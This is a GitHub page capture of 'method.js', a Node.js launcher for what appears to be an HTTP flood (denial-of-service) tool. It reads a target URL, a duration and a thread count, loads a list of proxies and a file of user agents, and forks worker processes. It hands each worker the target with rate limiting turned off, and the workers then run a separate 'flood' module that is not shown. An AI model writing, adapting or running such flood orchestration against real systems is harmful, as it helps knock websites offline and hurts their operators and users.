-
Notifications
You must be signed in to change notification settings - Fork 36
/
method.js
56 lines (49 loc) · 1.67 KB
/
method.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
const net = require('net'),
events = require('events'),
cluster = require('cluster'),
fs = require('fs'),
threads = process.argv[5];
process.setMaxListeners(0);
events.EventEmitter.defaultMaxListeners = Infinity;
events.EventEmitter.prototype._maxListeners = Infinity;
var log = console.log;
global.logger = function() {
var first_parameter = arguments[0];
var other_parameters = Array.prototype.slice.call(arguments, 1);
function formatConsoleDate(date) {
var hour = date.getHours();
var minutes = date.getMinutes();
var seconds = date.getSeconds();
var milliseconds = date.getMilliseconds();
return '[' +
((hour < 10) ? '0' + hour : hour) +
':' +
((minutes < 10) ? '0' + minutes : minutes) +
':' +
((seconds < 10) ? '0' + seconds : seconds) +
'.' +
('00' + milliseconds).slice(-3) +
'] ';
}
log.apply(console, [formatConsoleDate(new Date()) + first_parameter].concat(other_parameters));
};
if (cluster.isMaster) {
let proxies = [...new Set(fs.readFileSync('proxies.txt').toString().match(/\S+/g))],
dproxies = proxies;
proxies = [];
for (let i = 0; i < threads; i++) {
cluster.fork().setMaxListeners(0).send({
target: process.argv[2],
proxies: dproxies,
userAgents: [...new Set(fs.readFileSync('ua.txt', 'utf-8').replace(/\r/g, '').split('\n'))],
referers: [],
duration: process.argv[3] * 1e3 * threads,
opt: {
ratelimit: false
},
mode: process.argv[4]
});
}
} else {
require('./flood');
}